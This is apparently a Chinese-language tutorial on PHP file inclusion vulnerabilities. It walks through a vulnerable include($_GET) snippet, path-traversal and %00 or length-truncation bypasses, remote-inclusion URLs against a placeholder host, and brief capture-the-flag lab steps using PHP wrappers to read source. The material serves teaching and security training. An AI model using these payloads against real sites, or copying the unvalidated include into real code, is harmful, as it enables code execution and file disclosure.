簡單瞭解WEB漏洞-檔案包含漏洞
原理
檔案包含漏洞的產生原因是在通過 PHP 的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。
演示程式碼
<?php
$filename = $_GET['filename']
include($filename)
?>
在網站目錄下有一個php.txt檔案 檔案的內容是<?php phpinfo();?>
向filename傳參將1.txt包含進去
127.0.0.1/test,php?filename=1.txt
成功執行php程式碼
檔案包含還可以包含不同目錄下的檔案,我在D盤根目錄下有一個1.txt 內容同樣是<?php phpinfo();?>
因此url應該這樣寫
127.0.0.1/test,php?filename=../../../1.txt
檔案包含各個指令碼程式碼
ASP,PHP,JSP,ASPX等
<!--#include file="1.asp" --> <!--#include file="top.aspx" --> <c:import url="http://thief.one/1.jsp"> <jsp:include page="head.jsp"/> <%@ include file="head.jsp"%> <?php Include('test.php')?>
本地包含-有限制
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
繞過方法
%00截斷:條件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
長度截斷:條件:windows,點號需要長於256;linux 長於4096
遠端包含-有限制
只有這個開關開啟才允許遠端上傳
無限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
有限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?
各種協議流玩法
各環境支援的協議
php偽協議
php偽協議 - 看不盡的塵埃 - 部落格園 (cnblogs.com)
靶場演
示
https://www.ichunqiu.com/battalion?t=1&r=0
根據程式碼可知傳遞path值即可
使用php偽協議
發現一個可疑的php檔案
訪問看下
檢視頁面原始碼
完事
靶場二
url上有一個file可以猜測是包含的檔名
使用php偽協議讀取檔案原始碼
base64加密
解碼後的結果